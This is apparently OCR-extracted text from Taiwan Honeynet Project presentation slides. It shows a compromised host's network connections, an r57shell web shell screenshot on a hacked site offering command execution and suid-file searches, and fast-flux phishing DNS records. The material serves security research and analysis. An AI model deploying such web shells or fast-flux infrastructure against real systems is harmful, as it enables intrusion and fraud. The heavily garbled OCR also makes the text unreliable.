192.168.245.13@:25A0 116.255.131.5:80 ESTABLISHED m 2000445 F4F 06, 2000
192.168.245.1309:2502  202.64.251.174:80 ESTABLISHED " e
192.168.245_130:2585 59 _46.69.146:88 ESTABLISHED
192.168.245.1309:2587 58.60.13.186:80 SYM_SENT gggggfiii_ ggggﬁg ii g:_ gggf
192.168.245_130:2588  211.157.184.136:80 SYN_SENT R i T
192.168.245.131:139 8.8.0.8:8 LISTENING s T o e -
6.8 0 a4 s (
— o= - 3 20094845 F4F 06:... 2000
éjmdex.php?qu.. hittp:ftwew baiducomdindex.php?..  HTML Docum... 4 KE 2009/8/5 T4 05.. 2009/8/5 F 9 06: 2000
] gzt hitp:iizime baidu comimaize.gif  GIF B8 LKB 20198/ F4 06:... 20051226 B4 . 200985 F4F 0 2008
[ ™) baidn_lngn gif  http-ttwas baidn comdimgbaidn_ GIF B8 2KE 20198/ F2F 06: 20087430 F2F 0. 20098/ F4F 06 2000
& bdun beePtn=dd . httptunstat baidn com/bdmn be?t . HTML Docum.. 14 KB 88 -3 2000/8/5 F<F 06:...  200¢
=)sslm_logo.gif  httpswsw beiducomimetslm 1. GIF B8 2KE 201963 F4F 06:.. 2000/212 F4F 0. 200045 F4F 05, 2000
& Pwd—aspdetn=.. httphww baiducomisfed=%C1.. HTML Docum.. 28KE #% .3 2009/8/5 F4F 06:... 2000
bdsug.]s’?\f:l 1.... httpzfwrwew baiducomd=bdsug j=7...  IScrpt Script ... SKE #E 2009/6/29 F4 0. 2009//5 F4 06:... 200¢ <

>



) Infex of featalogfimages - Mozilla Firefox
BRED BRE ®AQ B 2BE IEQD 3@

G- @ () D Mo debesivmes syl <[] [G[rm Bt cting TWHP

= TAIWAN HONEYNET PROJECT
P HT R G BesIRE [ BAP
] bl ch - Ve b Trcker [ Index of fetalogfimages a

tane last modified  Size Description .....

a Parent Directory -

128.txt 16-Jun-2009 12:07 103K
@ ARKELICN. jpg 30-Jul-2009 16:41 13K
E] BADGE PINS/ 04-0ct-2007 12:44 -
m BRACELETS/ 04-0ct-2007 12:44 -
CLAN OF ZYNOX.jpg 12-0ct-2007 10:04 25K

DA% ICH CABARET.jpg 12-0ct-2007 10:04 33K

Q DIVERS/ 05-hpr-2008 13:00 -
E] DRAPEAT/ 04-0ct-2007 12:47 -

Disbolus001. jpg 12-0ct-2007 10:04 59K
Q@ FILHS/ 09-5ep-2008 17:29 -

FichierDellotDePasse 12-Nar-2009 07:35 17

GAMMARAT. jpg 30-0ul-2009 16:30 7.4K
GIFFF.gif 12-00t-2007 10:04 40K
BARM Devil.ipy 12-00t-2007 10:05 4.5K @ Target - Moxzilla Firefox =n
MARDUE EOX. ipg 12-0ct-2007 10:05 24K BEDO {fEH BEWV © 8BE® IEM BEM
O pazen 04-4pr-2008 19:22 - = = z S
A BAICH] P [} Index of /catalog/images [ http://www.diabo.../images/era.txt [} Target (% -
FOSTER/ 04-0ct-2007 12:50 -
02-07-2009 05:30:57 [ phpinfo ] [ php.ini] [cpu] [mem ] [users ] [ tmp ] [ delete ] -
2 pocnere cdf 04-0ct-2007 12:50 - safe_mode: OFF PHP version: 4.4.9 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: ON Oracle: OFF N
r57shell 1.3 Disable functions : NONE
RAMMSTEIN VOLKzip2.jpg 12-0ct-2007 10:05 43K HDD Free : 0 B HDD Total : 0B
SENTENCEDSHADOVS.ipg  30-Jul-2009 16:36 12K unamec-ta': Linux web451.90.ha.ovh.net 2.6.27.10-grsec-mutu-grs-ipv4-32 #4 SMP Mon Mar 2 13:09:19 UTC 2009 i686 GNU/Linux
- SYS/ : =
Tt ey diabolus st combcatelo gfmages/VINELY $051Yyp5= B gne
Server: Apache/2.2.X (OVH)
id:| uid=13769(diabolus) gid=100(users) groups=100(users)
I pwd: /homez.32/diabolus/www/catalog/images ( drwxr-xr-x) |2
Executed command: Is -lia I
total 1305 -
1856508 drwxr-xr-x+ 19 diabolus users 30 23:48 &
1855092 drwxr-xr-x+ 11 diabolus users 12 11:37 ..
11185643 -rw-r--r——+ 1 diabolus users 16 12:07 123.txt
1856648 drwxr-xr-x+ 2 diabolus users 4 2007 BADGE_PINS
1856662 drwxr-xr-x+ 2 diabolus users 4 2007 BRACELETS LS
1856539 -rw-r--r--+ 1 diabolus users 12 2007 CLAN OF XYNOX.jpg
1856542 -rw-r--r-—+ 1 diabolus users 12 2007 DAS_ICH CABARET.jpg
1860085 drwxr-xr-x+ 2 diaboli users 5 2008 DIVERS
1860100 drwxr-xr-x+ 2 diabolus users 4 2007 DRAPEAU
1856546 -rw-r—-r——+ 1 diabolus users 12 2007 Diabolus001.jpg
1860396 drwxr-xr-x+ 2 diabolus users 5 9 2008 FILMS
1662464 —-IWXIWXIWX 1 diabolus users 17 Mar 12 07:35 FichierDeMotDePasse
1856557 -rw-r--r--+ 1 diabolus users 41034 Oct 12 2007 GIFFF.gif
1856568 -rw-r—-r- 1 diabolus users 4572 Oct 12 2007 HARM Devil.jpg
1856588 -rw-r--r-—+ 1 diabolus users 24267 Oct 12 2007 MARDUK BOX.3jpg -
o [En
:: Execute command on server IT:’ [.—:' ]
Run command
Work directory /homez.32/diabolus/www/catalog/images Execute
5o |33
:: Edit files [:J [?'J =
File for edit /homez.32/diabolus/www/catalog/images Edit file
oh |[ok
Selectalias | find suid files 3 Execute
5o |[Ee
s et s B L B
Find text text Find
In dirs /homez.32/diabolus/www/catalog/images * ( froot;/home;/tmp )

Only in files .txt;.php * [ .xt;.php;.htm )



TAIWAN HONEYNET

PROJI

: : &
5. Fast-Flux Domain Service ~ og8ge

A,B,C...etc

1. Phish.net?

4. GET [HTTP/1.0
2. IP=A 5. “Welcome to Phish”

3. GET/HTTP/1.0

Flux agents

6. “Welcome to Phish”
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TAIWAN HONEYNET

PRO.

Fast-Flux Domain Service 03:30

;; ANSWER SECTION: — &
thearmynext.info. 600 IN 69.183.26.53
thearmynext.info. 600 IN 76.205.234.131
thearmynext.info. 600 IN 85.177.96.105
thearmynext.info. 600 IN 217.129.178.138
thearmynext.info. 600 IN 24.98.252.230

B

;; ANSWER SECTION:

thearmynext.info. 600 IN
thearmynext.info. 600/ IN
thearmynext.info. 600 IN
thearmynext.info. 600 IN
thearmynext.info. 600/ IN

213.47.148.82
213.91.251.16
©9.183.207.99
91.148.168.92
195.38.60.79

B

I[P address returned in A record Reverse DNS lookup for IP address | ASN | Country
69.183.26.53 69.183.26.53.adsl.snet.net. | 7132 US
76.205.234.131 adsl-76-205-234-131.dsLhstntx.sbeglobal.net. | 7132 US
85.177.96.105 el77096105.adsl.alicedsl.de. | 13184 DE
217.129.178.138 ac-217-129-178-138.netvisao.pt. | 13156 PT
24,98.252.230 ¢-24-98-252-230.hsd1.ga.comecast.net. | 7725 US
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